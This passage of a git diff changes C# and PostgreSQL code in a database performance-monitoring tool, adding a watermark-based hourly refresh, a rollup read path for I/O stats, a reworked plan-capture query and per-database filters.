-  AND sql_handle IS NOT NULL
-  AND sql_handle <> ''
-ORDER BY server_name, sql_handle, collection_time DESC
-ON CONFLICT (server_name, sql_handle) DO UPDATE SET
-    database_name = EXCLUDED.database_name,
-    schema_name = EXCLUDED.schema_name,
-    object_name = EXCLUDED.object_name,
-    last_seen = EXCLUDED.last_seen
-WHERE module_map.last_seen IS NULL OR EXCLUDED.last_seen >= module_map.last_seen";
-
-    /// <summary>Creates the table if absent (idempotent). Returns true on success; a failure warns and leaves
+    public const string RefreshSql = @"WITH src AS (
+    SELECT " + SourceColumns + @"
+    FROM collect.procedure_stats
+    WHERE collection_time >= now() - interval '2 days'
+      AND sql_handle IS NOT NULL
+      AND sql_handle <> ''
+    " + SourceGroupBy + @"
+),
+" + UpsertAndAdvanceTail;
+
+    /// <summary>
+    /// The hourly refresh: the same upsert and watermark advance as <see cref="RefreshSql"/>, over the rows at or
+    /// after the bound <c>$1</c> (a naive UTC timestamp, Kind Unspecified). The caller computes it from the
+    /// watermark (see <see cref="SinceFor"/>), so each run reads about the last hour and a little behind it
+    /// instead of two days. No clock inside the statement: the bound is a parameter like every other windowed
+    /// read.
+    /// </summary>
+    public const string RefreshSinceSql = @"WITH src AS (
+    SELECT " + SourceColumns + @"
+    FROM collect.procedure_stats
+    WHERE collection_time >= $1
+      AND sql_handle IS NOT NULL
+      AND sql_handle <> ''
+    " + SourceGroupBy + @"
+),
+" + UpsertAndAdvanceTail;
+
+    /// <summary>Reads the watermark; no row yet reads NULL.</summary>
+    public const string ReadWatermarkSql = "SELECT refreshed_through FROM collect.module_map_state WHERE id = 1";
+
+    private const int WatermarkReadTimeoutSeconds = 30;
+
+    /// <summary>
+    /// The lower bound of the hourly refresh: the watermark (never later than <paramref name="utcNow"/>) less
+    /// <see cref="WatermarkSlack"/>, but never older than <see cref="MaxLookback"/> before <paramref name="utcNow"/>;
+    /// with no watermark, exactly that floor. The result is a naive (Kind Unspecified) timestamp ready to bind.
+    /// </summary>
+    public static DateTime SinceFor(DateTime? watermark, DateTime utcNow) => SinceFor(watermark, utcNow, WatermarkSlack);
+
+    /// <summary><see cref="SinceFor(DateTime?, DateTime)"/> with the slack behind the watermark chosen by the
+    /// caller: <see cref="WatermarkSlack"/> for the hourly refresh, <see cref="DailyRepairSlack"/>
+    /// for the start-up and daily ones.</summary>
+    public static DateTime SinceFor(DateTime? watermark, DateTime utcNow, TimeSpan slack)
+    {
+        var floor = utcNow - MaxLookback;
+        var since = watermark is { } w && Min(w, utcNow) - slack > floor ? Min(w, utcNow) - slack : floor;
+        return DateTime.SpecifyKind(since, DateTimeKind.Unspecified);
+    }
+
+    /// <summary>True when <see cref="SinceFor"/> had to stop at the <see cref="MaxLookback"/> floor although a
+    /// watermark exists: the rows between the watermark and that floor are not re-read.</summary>
+    public static bool IsCappedByLookback(DateTime? watermark, DateTime utcNow) =>
+        IsCappedByLookback(watermark, utcNow, WatermarkSlack);
+
+    /// <summary><see cref="IsCappedByLookback(DateTime?, DateTime)"/> for a caller-chosen slack.</summary>
+    public static bool IsCappedByLookback(DateTime? watermark, DateTime utcNow, TimeSpan slack)
+    {
+        return watermark is { } w && Min(w, utcNow) - slack < utcNow - MaxLookback;
+    }
+
+    private static DateTime Min(DateTime a, DateTime b) => a < b ? a : b;
+
+    /// <summary>Creates the map and its watermark table if absent (idempotent). Returns true on success; a failure warns and leaves
     /// object_name-on-query_stats routing to fall back to raw (never kills startup).</summary>
     public static async Task<bool> EnsureTableAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
     {
@@ -90,6 +240,8 @@ public static async Task<bool> EnsureTableAsync(NpgsqlConnection connection, ILo
         {
             using var command = new NpgsqlCommand(CreateTableSql, connection) { CommandTimeout = SetupTimeoutSeconds };
             await command.ExecuteNonQueryAsync(cancellationToken);
+            using var stateCommand = new NpgsqlCommand(CreateStateTableSql, connection) { CommandTimeout = SetupTimeoutSeconds };
+            await stateCommand.ExecuteNonQueryAsync(cancellationToken);
             return true;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
@@ -99,15 +251,58 @@ public static async Task<bool> EnsureTableAsync(NpgsqlConnection connection, ILo
         }
     }
 
-    /// <summary>Upserts the map from recent procedure_stats. Returns the number of rows upserted; a failure warns
-    /// and the existing map keeps serving (never throws). Called from the periodic maintenance sweep.</summary>
-    public static async Task<int> RefreshAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
+    /// <summary>The daily refresh (#5519). Once the map has a watermark and rows it re-reads only the span from
+    /// <see cref="DailyRepairSlack"/> behind the watermark (capped at <see cref="MaxLookback"/>), which is the
+    /// repair for rows the hourly path missed by committing late; with no watermark, or an empty map, it reads the
+    /// last two days (<see cref="RefreshSql"/>). Returns the number of rows upserted; a failure warns and the
+    /// existing map keeps serving (never throws). Called from the daily purge, which fires fire-and-track from the
+    /// sweep loop (its first pass is right after the collectors start, #5578), never from the start path: this
+    /// statement can run for a minute on a large store and must not hold a collector back.</summary>
+    public static Task<int> RefreshAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default) =>
+        RefreshFromWatermarkOrFullAsync(connection, logger, DateTime.UtcNow, DailyRepairSlack, "module_map daily refresh", cancellationToken);
+
+    /// <summary>The map has at least one row. A watermark over an empty map means the map was rebuilt without its
+    /// state row; the refresh then reads the full two days instead of trusting the watermark.</summary>
+    public const string MapHasRowsSql = "SELECT EXISTS (SELECT 1 FROM collect.module_map)";
+
+    /// <summary>The daily refresh against an explicit clock and slack; the tests pass a fixed clock.
+    /// <paramref name="label"/> names the caller in the log lines.</summary>
+    public static async Task<int> RefreshFromWatermarkOrFullAsync(
+        NpgsqlConnection connection, ILogger? logger, DateTime utcNow, TimeSpan slack, string label, CancellationToken cancellationToken = default)
     {
         ArgumentNullException.ThrowIfNull(connection);
+        DateTime? watermark = null;
+        var mapHasRows = false;
+        try
+        {
+            watermark = await ReadWatermarkAsync(connection, cancellationToken);
+            if (watermark is not null)
+            {
+                using var existsCommand = new NpgsqlCommand(MapHasRowsSql, connection) { CommandTimeout = WatermarkReadTimeoutSeconds };
+                mapHasRows = await existsCommand.ExecuteScalarAsync(cancellationToken) is true;
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* The map or its state is unreadable: take the full read below, which is the old behavior. */
+            logger?.LogWarning("module_map: could not read the watermark or the map, so the full two-day read runs: {Message}", ex.Message);
+            watermark = null;
+        }
+
+        if (watermark is null || !mapHasRows)
+        {
+            return await RefreshFullAsync(connection, logger, cancellationToken);
+        }
+
+        return await RefreshSinceWatermarkAsync(connection, logger, watermark, utcNow, slack, label, cancellationToken);
+    }
+
+    private static async Task<int> RefreshFullAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken)
+    {
         try
         {
             using var command = new NpgsqlCommand(RefreshSql, connection) { CommandTimeout = SetupTimeoutSeconds };
-            var rows = await command.ExecuteNonQueryAsync(cancellationToken);
+            var (rows, _) = await ReadRefreshResultAsync(command, cancellationToken);
             logger?.LogInformation("module_map: upserted {Rows} sql_handle→module attribution(s) from recent procedure_stats.", rows);
             return rows;
         }
@@ -117,4 +312,85 @@ public static async Task<int> RefreshAsync(NpgsqlConnection connection, ILogger?
             return 0;
         }
     }
+
+    /// <summary>
+    /// The hourly incremental refresh: upserts the map from procedure_stats at or after <see cref="SinceFor"/>
+    /// and advances the watermark, in one statement. Returns the number of rows upserted; a failure warns and the
+    /// existing map keeps serving (never throws), and the next hour reads from the same watermark, so nothing is
+    /// skipped.
+    /// </summary>
+    public static Task<int> RefreshRecentAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default) =>
+        RefreshRecentAsync(connection, logger, DateTime.UtcNow, cancellationToken);
+
+    /// <summary>The hourly refresh against an explicit clock, which only the lookback floor reads; the tests pass
+    /// a fixed one.</summary>
+    public static async Task<int> RefreshRecentAsync(NpgsqlConnection connection, ILogger? logger, DateTime utcNow, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        var watermarkBefore = await ReadWatermarkAsync(connection, cancellationToken);
+        return await RefreshSinceWatermarkAsync(connection, logger, watermarkBefore, utcNow, WatermarkSlack, "module_map hourly refresh", cancellationToken);
+    }
+
+    /// <summary>The one watermark-bounded read the hourly and daily refreshes share: reads from
+    /// <see cref="SinceFor(DateTime?, DateTime, TimeSpan)"/> over <see cref="RefreshSinceSql"/>.
+    /// <paramref name="label"/> names the caller in the log lines.</summary>
+    private static async Task<int> RefreshSinceWatermarkAsync(
+        NpgsqlConnection connection, ILogger? logger, DateTime? watermarkBefore, DateTime utcNow, TimeSpan slack, string label, CancellationToken cancellationToken)
+    {
+        try
+        {
+            var since = SinceFor(watermarkBefore, utcNow, slack);
+            if (IsCappedByLookback(watermarkBefore, utcNow, slack))
+            {
+                /* The map shares this property with the rollup route and the daily refresh: a stall longer than the
+                   lookback leaves the span between the old watermark and the floor unread, and the map keeps the
+                   names it already had for it. Say so once per run instead of hiding it. */
+                logger?.LogWarning(
+                    "{Label}: the watermark {Watermark:yyyy-MM-dd HH:mm:ss} is older than the {Days}-day lookback, so procedure_stats rows between it and {Since:yyyy-MM-dd HH:mm:ss} were not re-read; module names for that span come from the map as it was.",
+                    label, watermarkBefore, MaxLookback.TotalDays, since);
+            }
+
+            using var command = new NpgsqlCommand(RefreshSinceSql, connection) { CommandTimeout = SetupTimeoutSeconds };
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = since });
+            var (rows, watermark) = await ReadRefreshResultAsync(command, cancellationToken);
+            logger?.LogInformation(
+                "{Label}: upserted {Rows} sql_handle→module attribution(s) from procedure_stats since {Since:yyyy-MM-dd HH:mm:ss}; watermark now {Watermark}.",
+                label, rows, since, watermark?.ToString("yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture) ?? "unchanged (nothing read)");
+            return rows;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning("{Label} failed — the existing map keeps serving and the next run reads from the same watermark: {Message}", label, ex.Message);
+            return 0;
+        }
+    }
+
+    /// <summary>The watermark: the largest procedure_stats <c>collection_time</c> the last refresh read, or null
+    /// when there is none yet or the read fails for any reason (the table missing, a dropped connection). Callers
+    /// treat null as "no watermark" and fall back.</summary>
+    public static async Task<DateTime?> ReadWatermarkAsync(NpgsqlConnection connection, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        try
+        {
+            using var command = new NpgsqlCommand(ReadWatermarkSql, connection) { CommandTimeout = WatermarkReadTimeoutSeconds };
+            var value = await command.ExecuteScalarAsync(cancellationToken);
+            return value is DateTime watermark ? DateTime.SpecifyKind(watermark, DateTimeKind.Unspecified) : null;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return null;
+        }
+    }
+
+    private static async Task<(int Rows, DateTime? Watermark)> ReadRefreshResultAsync(NpgsqlCommand command, CancellationToken cancellationToken)
+    {
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return (0, null);
+        }
+
+        return (reader.GetInt32(0), reader.IsDBNull(1) ? null : reader.GetDateTime(1));
+    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingPgIoReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingPgIoReader.cs
index be8577e523..d71c87d10b 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/DarlingPgIoReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingPgIoReader.cs
@@ -166,20 +166,78 @@ public static async Task<PgIoPage> GetPgIoPageAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int limit,
         CancellationToken cancellationToken = default)
     {
-        var rows = new List<PgIoRow>();
-        long windowTotalReads = 0;
-        double windowTotalReadTimeMs = 0;
-        await using var command = postgres.CreateCommand(PgIoSql);
-        command.CommandTimeout = StorageCommandDeadlines.McpReadSeconds;
+        /* #5495: a long window reads whole hours from collect.pg_io_stats_hourly and only its two edges from raw rows. One
+           REPEATABLE READ transaction holds the count guard and the stitched read on one snapshot. Any other outcome (a store below V170, a
+           window the rollup does not cover, a count that differs, any fault) reads the raw statement, whose result is identical. */
+        var start = DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified);
+        var end = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified);
+        await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+        try
+        {
+            if (await TryReadFromRollupAsync(connection, serverId, start, end, limit, cancellationToken) is { } fromRollup)
+            {
+                return fromRollup;
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* Fall through to the raw statement below; the transaction was disposed (rolled back) with the failed attempt. */
+        }
+
+        await using var command = new NpgsqlCommand(PgIoSql, connection) { CommandTimeout = StorageCommandDeadlines.McpReadSeconds };
         command.Parameters.AddWithValue(serverId);
         /* Kind-Unspecified at the BIND, per the store's naive-UTC discipline: a Kind=Utc DateTime makes
            Npgsql infer timestamptz, and PostgreSQL then resolves the comparison against these naive
            timestamp columns by converting THEM at the store session's TimeZone - east of UTC every fresh
            row falls out of the window and the read silently returns nothing. Hidden by UTC-hosted test
            stores; found by the round-2 review. */
-        command.Parameters.AddWithValue(DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified));
-        command.Parameters.AddWithValue(DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(start);
+        command.Parameters.AddWithValue(end);
         command.Parameters.AddWithValue(limit);
+        return await ReadPageAsync(command, cancellationToken);
+    }
+
+    /// <summary>
+    /// The rollup route of <see cref="GetPgIoPageAsync"/>: the count guard and the stitched read in one REPEATABLE READ
+    /// transaction. Returns null when the guard returns no span (a window under 6 hours, one the rollup does not cover, or a count
+    /// that differs): an ordinary outcome that costs no exception. A store below V170 (no tables) or any other fault throws, and
+    /// the caller reads raw.
+    /// </summary>
+    private static async Task<PgIoPage?> TryReadFromRollupAsync(
+        NpgsqlConnection connection, int serverId, DateTime start, DateTime end, int limit, CancellationToken cancellationToken)
+    {
+        await using var transaction = await connection.BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead, cancellationToken);
+        DateTime h1, h2;
+        await using (var guard = new NpgsqlCommand(PgIoStatsHourly.GuardSql, connection, transaction) { CommandTimeout = StorageCommandDeadlines.McpReadSeconds })
+        {
+            guard.Parameters.AddWithValue(serverId);
+            guard.Parameters.AddWithValue(start);
+            guard.Parameters.AddWithValue(end);
+            await using var span = await guard.ExecuteReaderAsync(cancellationToken);
+            if (!await span.ReadAsync(cancellationToken))
+            {
+                return null;
+            }
+
+            h1 = span.GetDateTime(0);
+            h2 = span.GetDateTime(1);
+        }
+
+        await using var stitched = new NpgsqlCommand(PgIoStatsHourly.StitchedReadSql, connection, transaction) { CommandTimeout = StorageCommandDeadlines.McpReadSeconds };
+        stitched.Parameters.AddWithValue(serverId);
+        stitched.Parameters.AddWithValue(start);
+        stitched.Parameters.AddWithValue(end);
+        stitched.Parameters.AddWithValue(limit);
+        stitched.Parameters.AddWithValue(DateTime.SpecifyKind(h1, DateTimeKind.Unspecified));
+        stitched.Parameters.AddWithValue(DateTime.SpecifyKind(h2, DateTimeKind.Unspecified));
+        return await ReadPageAsync(stitched, cancellationToken);
+    }
+
+    private static async Task<PgIoPage> ReadPageAsync(NpgsqlCommand command, CancellationToken cancellationToken)
+    {
+        var rows = new List<PgIoRow>();
+        long windowTotalReads = 0;
+        double windowTotalReadTimeMs = 0;
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingPgPlanCaptureReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingPgPlanCaptureReader.cs
index e93ffaa063..1c581bb625 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/DarlingPgPlanCaptureReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingPgPlanCaptureReader.cs
@@ -22,7 +22,8 @@ namespace PerformanceMonitor.Darling.Storage;
 /// so the same plan is legitimately captured many times — and the overlapping window means the SAME
 /// execution can be seen twice. Returning raw captures would rank by how often the reader happened to look.
 /// Rows are grouped on <c>(query_id, plan_hash)</c>, which is what makes "this shape ran a lot and is slow"
-/// answerable at all.</para>
+/// answerable at all. The hash is of the plan's SHAPE (#5114), so captures whose estimates differ share a group, and
+/// the counts and durations sum over all of them.</para>
 ///
 /// <para><b>The plan JSON returned here is already redacted</b> — the collector strips it before storage, so
 /// there is no un-redacted copy anywhere for a read to leak. Nothing here needs to re-check that, and
@@ -36,7 +37,9 @@ public static class DarlingPgPlanCaptureReader
     /// <param name="Captures">How many times this shape was seen. A count of the CAPTURES, which the
     /// overlapping tail read can inflate — treat it as a frequency signal rather than an execution count;
     /// <c>pg_statement_stats.calls</c> is the authority on that.</param>
-    /// <param name="PlanJson">Redacted at collection. Literals and query text never reach the store.</param>
+    /// <param name="PlanJson">The JSON of the group's latest collection cycle, redacted at collection (literals and query text
+    /// never reach the store). Its estimates and counters are that capture's: the hash does not cover them, so
+    /// the group's other captures may carry different ones.</param>
     public sealed record PgPlanCaptureRow(
         long QueryId,
         string? PlanHash,
@@ -49,32 +52,59 @@ public sealed record PgPlanCaptureRow(
         string? PlanJson,
         DateTime LastSeen);
 
-    /* DISTINCT ON inside the aggregate is not what is wanted here: the JSON is identical for a given
-       plan_hash by construction (the hash is OF the redacted JSON), so any row's copy will do and min()
-       avoids a second scan to pick one. */
+    /* The hash is of the plan's SHAPE (#5114), so the JSON of one group is NOT identical across its captures: they
+       differ in costs, row estimates and runtime counters. The group is ranked and cut first, without the JSON, and
+       the LATERAL then fetches the JSON of the group's latest collection cycle for the page only - a real capture's
+       own numbers, and kilobyte-sized text is read for the rows returned rather than aggregated over every group.
+       Two captures of one plan can share a cycle's timestamp, so max() picks one of them deterministically; the
+       lookup is an equality on that timestamp, bounded by the same (server_id, collection_time) index. The outer
+       LIMIT repeats the inner one, because the paged-read contract wants every such read to end in its bound. top_node_type and
+       node_count are shape properties, so min() and max() over a group are exact. */
     public const string PgPlanCaptureSql = """
         SELECT
-            query_id,
-            plan_hash,
-            min(top_node_type)          AS top_node_type,
-            max(node_count)             AS node_count,
-            count(*)                    AS captures,
-            sum(duration_ms)            AS total_duration_ms,
-            max(duration_ms)            AS max_duration_ms,
-            avg(duration_ms)            AS avg_duration_ms,
-            min(plan_json)              AS plan_json,
-            max(collection_time)        AS last_seen
-        FROM pg_plan_capture
-        WHERE server_id = $1
-        AND   collection_time >= $2
-        AND   collection_time <= $3
-        /* The optional queryid pin, IN the SQL rather than filtered client-side over a page (#3533): the
-           ranking is by total duration, so a cheap-but-wanted query sits arbitrarily far below the top and
-           no page size makes it reachable — filtering a fetched page turned "ranked low" into "was never
-           captured". NULL leaves the read as the top-duration page. */
-        AND   ($4::bigint IS NULL OR query_id = $4)
-        GROUP BY query_id, plan_hash
-        ORDER BY sum(duration_ms) DESC
+            g.query_id,
+            g.plan_hash,
+            g.top_node_type,
+            g.node_count,
+            g.captures,
+            g.total_duration_ms,
+            g.max_duration_ms,
+            g.avg_duration_ms,
+            latest.plan_json,
+            g.last_seen
+        FROM (
+            SELECT
+                query_id,
+                plan_hash,
+                min(top_node_type)          AS top_node_type,
+                max(node_count)             AS node_count,
+                count(*)                    AS captures,
+                sum(duration_ms)            AS total_duration_ms,
+                max(duration_ms)            AS max_duration_ms,
+                avg(duration_ms)            AS avg_duration_ms,
+                max(collection_time)        AS last_seen
+            FROM pg_plan_capture
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            /* The optional queryid pin, IN the SQL rather than filtered client-side over a page (#3533): the
+               ranking is by total duration, so a cheap-but-wanted query sits arbitrarily far below the top and
+               no page size makes it reachable — filtering a fetched page turned "ranked low" into "was never
+               captured". NULL leaves the read as the top-duration page. */
+            AND   ($4::bigint IS NULL OR query_id = $4)
+            GROUP BY query_id, plan_hash
+            ORDER BY sum(duration_ms) DESC
+            LIMIT $5
+        ) AS g
+        LEFT JOIN LATERAL (
+            SELECT max(c.plan_json) AS plan_json
+            FROM pg_plan_capture AS c
+            WHERE c.server_id = $1
+            AND   c.collection_time = g.last_seen
+            AND   c.query_id IS NOT DISTINCT FROM g.query_id
+            AND   c.plan_hash IS NOT DISTINCT FROM g.plan_hash
+        ) AS latest ON true
+        ORDER BY g.total_duration_ms DESC
         LIMIT $5
         """;
 
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs
index 4efd3dc1ab..71a5cbe1bd 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs
@@ -558,17 +558,6 @@ FROM pg_io_stats
             AND   collection_time >= $4
             AND   collection_time <= $5
         ),
-        /* The interval comes from the DISTINCT collection times of the series being followed, not from a
-           LAG inside each object_type's own window. Object types do not all appear in every snapshot, so a
-           per-partition interval would differ between rows of one snapshot and there would be no single
-           honest denominator for the rates below. */
-        spans AS (
-            SELECT
-                collection_time,
-                CAST(extract(epoch FROM (collection_time - LAG(collection_time) OVER (ORDER BY collection_time)))
-                     AS double precision) AS interval_seconds
-            FROM (SELECT DISTINCT collection_time FROM bounded) AS snapshots
-        ),
         sampled AS (
             SELECT
                 collection_time,
@@ -653,10 +642,20 @@ OR LEAST(raw_reads, raw_read_time_ms, raw_writes, raw_write_time_ms,
                           raw_extends, raw_hits, raw_evictions, raw_read_bytes, raw_write_bytes) < 0) AS counter_reset
             FROM sampled
         ),
-        per_snapshot AS (
+        /* #5425: one row per collection time (every object_type summed), with the interval to the previous
+           collection time taken by a LAG over THESE rows. It used to come from a separate "spans" CTE over the
+           DISTINCT collection times of the bounded rows, joined back on collection_time; with a stale or
+           missing row estimate for pg_io_stats the planner put that join as a nested loop, re-running the
+           whole windowed "sampled" pass once per snapshot - 7.7 s over 24 hours and past the 30 s read
+           deadline over 72 (get_pg_io_trend failing "Exception while reading from stream"). With no join
+           there is no join order to get wrong. The set of times is the same one - one row per distinct
+           collection_time in bounded - so the interval is what the join produced: the interval comes from the
+           collection times of the series being followed, not from a LAG inside each object_type's own window.
+           Object types do not all appear in every snapshot, so a per-partition interval would differ between
+           rows of one snapshot and there would be no single honest denominator for the rates below. */
+        snapshot_sums AS (
             SELECT
                 d.collection_time,
-                s.interval_seconds,
                 CAST(coalesce(SUM(d.d_reads), 0) AS bigint)     AS reads,
                 coalesce(SUM(d.d_read_time_ms), 0)              AS read_time_ms,
                 CAST(coalesce(SUM(d.d_writes), 0) AS bigint)    AS writes,
@@ -671,14 +670,22 @@ per_snapshot AS (
                 bool_or(d.bytes_estimable)                      AS bytes_estimable,
                 coalesce(bool_or(d.counter_reset), false)       AS counter_reset
             FROM differenced AS d
-            JOIN spans AS s
-              ON s.collection_time = d.collection_time
+            GROUP BY d.collection_time
+        ),
+        per_snapshot AS (
+            SELECT *
+            FROM (
+                SELECT
+                    snapshot_sums.*,
+                    CAST(extract(epoch FROM (collection_time - LAG(collection_time) OVER (ORDER BY collection_time)))
+                         AS double precision) AS interval_seconds
+                FROM snapshot_sums
+            ) AS spanned
             /* The first snapshot in the window has nothing to difference against. Dropping it is not a lost
                point: it is the interval's left edge, and reporting it would report the whole uptime as one
                interval. No HAVING beside it - an interval with no I/O is a real reading in a trend, unlike
                in the single-window read, where an all-zero combination is only noise in a ranked grid. */
-            WHERE s.interval_seconds IS NOT NULL
-            GROUP BY d.collection_time, s.interval_seconds
+            WHERE interval_seconds IS NOT NULL
         ),
         per_interval AS (
         SELECT
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingQueryStoreClutterReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingQueryStoreClutterReader.cs
index bb47b406b7..4bda38fe10 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/DarlingQueryStoreClutterReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingQueryStoreClutterReader.cs
@@ -164,7 +164,10 @@ public sealed record ClerkRow(
     /// this arm can say anything about and are excluded from the denominator on purpose; a zero-duration
     /// run is excluded so the share has a denominator. The <c>others</c> CTE pools the OTHER databases'
     /// slowest costs on the same server so the tool can publish this database's median against theirs.
-    /// $1 server_id array, $2/$3 window (naive UTC), $4 collector name.
+    /// $1 server_id array, $2/$3 window (naive UTC), $4 collector name, $5 the chosen databases (#5244: one text[], NULL
+    /// for every database). The databases narrow the FINAL per-database rows only: <c>per_server</c> (the run denominator)
+    /// and <c>others</c> (the pool the median is compared against) read every run, so a database's numbers do not move
+    /// with the selection.
     /// </summary>
     public const string ReadCostSql = """
         WITH runs AS
@@ -231,11 +234,15 @@ JOIN per_server AS s
         LEFT JOIN others AS o
           ON  o.server_id = d.server_id
           AND o.database_name = d.database_name
+        WHERE ($5::text[] IS NULL OR d.database_name = ANY($5))
         ORDER BY d.server_id, d.runs_slowest DESC, d.slowest_item_ms_p50 DESC, d.database_name
         """;
 
+    /// <param name="databases">#5244: the chosen databases (optional, so the Viewer's calls compile
+    /// unchanged); <see cref="DatabaseFilter.All"/>, the default, is every database.</param>
     public static async Task<List<ReadCostRow>> GetReadCostAsync(
-        NpgsqlDataSource postgres, int[] serverIds, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int[] serverIds, DateTime startUtc, DateTime endUtc, DatabaseFilter databases = default,
+        CancellationToken cancellationToken = default)
     {
         var rows = new List<ReadCostRow>();
         await using var command = postgres.CreateCommand(ReadCostSql);
@@ -244,6 +251,7 @@ public static async Task<List<ReadCostRow>> GetReadCostAsync(
         AddTimestamp(command, startUtc);
         AddTimestamp(command, endUtc);
         command.Parameters.AddWithValue(CollectorName);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -281,7 +289,8 @@ public static async Task<List<ReadCostRow>> GetReadCostAsync(
     /// collection in the window. The store keeps no first-seen stamp (<c>query_store_plan_map</c> holds
     /// <c>last_seen</c> only), so a plan idle before the window and executed again inside it counts as an
     /// arrival here; the tool says so.</para>
-    /// $1 server_id array, $2/$3 window (naive UTC).
+    /// $1 server_id array, $2/$3 window (naive UTC), $4 the chosen databases (#5244: one text[], NULL for every database;
+    /// every figure here is per database, so the predicate narrows the source rows).
     /// </summary>
     public const string PlanChurnSql = """
         WITH rows_in_window AS
@@ -291,6 +300,7 @@ FROM query_store_stats
             WHERE server_id = ANY($1::int[])
             AND   collection_time >= $2
             AND   collection_time <= $3
+            AND   ($4::text[] IS NULL OR database_name = ANY($4))
         ),
         per_plan AS
         (
@@ -368,8 +378,10 @@ JOIN query_facts AS q
         ORDER BY d.server_id, d.database_name
         """;
 
+    /// <param name="databases">#5244: the chosen databases (optional, so the Viewer's calls compile unchanged).</param>
     public static async Task<List<PlanChurnRow>> GetPlanChurnAsync(
-        NpgsqlDataSource postgres, int[] serverIds, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int[] serverIds, DateTime startUtc, DateTime endUtc, DatabaseFilter databases = default,
+        CancellationToken cancellationToken = default)
     {
         var rows = new List<PlanChurnRow>();
         await using var command = postgres.CreateCommand(PlanChurnSql);
@@ -377,6 +389,7 @@ public static async Task<List<PlanChurnRow>> GetPlanChurnAsync(
         AddServers(command, serverIds);
         AddTimestamp(command, startUtc);
         AddTimestamp(command, endUtc);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -413,7 +426,7 @@ public static async Task<List<PlanChurnRow>> GetPlanChurnAsync(
     /// reader maps it at ordinal 12, so anything inserted before it shifts every ordinal above. A NULL there
     /// is a row the collector wrote before the column existed — never asked, and never the engine's
     /// <c>NONE</c>.</para>
-    /// $1 server_id array, $2/$3 window (naive UTC).
+    /// $1 server_id array, $2/$3 window (naive UTC), $4 the chosen databases (#5244: one text[], NULL for every database).
     /// </summary>
     public const string ConfigSql = """
         SELECT DISTINCT ON (server_id, database_name)
@@ -434,11 +447,14 @@ FROM v_query_store_health
         WHERE server_id = ANY($1::int[])
         AND   capture_time >= $2
         AND   capture_time <= $3
+        AND   ($4::text[] IS NULL OR database_name = ANY($4))
         ORDER BY server_id, database_name, capture_time DESC
         """;
 
+    /// <param name="databases">#5244: the chosen databases (optional, so the Viewer's calls compile unchanged).</param>
     public static async Task<List<ConfigRow>> GetConfigAsync(
-        NpgsqlDataSource postgres, int[] serverIds, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int[] serverIds, DateTime startUtc, DateTime endUtc, DatabaseFilter databases = default,
+        CancellationToken cancellationToken = default)
     {
         var rows = new List<ConfigRow>();
         await using var command = postgres.CreateCommand(ConfigSql);
@@ -446,6 +462,7 @@ public static async Task<List<ConfigRow>> GetConfigAsync(
         AddServers(command, serverIds);
         AddTimestamp(command, startUtc);
         AddTimestamp(command, endUtc);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingServerClocksReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingServerClocksReader.cs
new file mode 100644
index 0000000000..28483b4c37
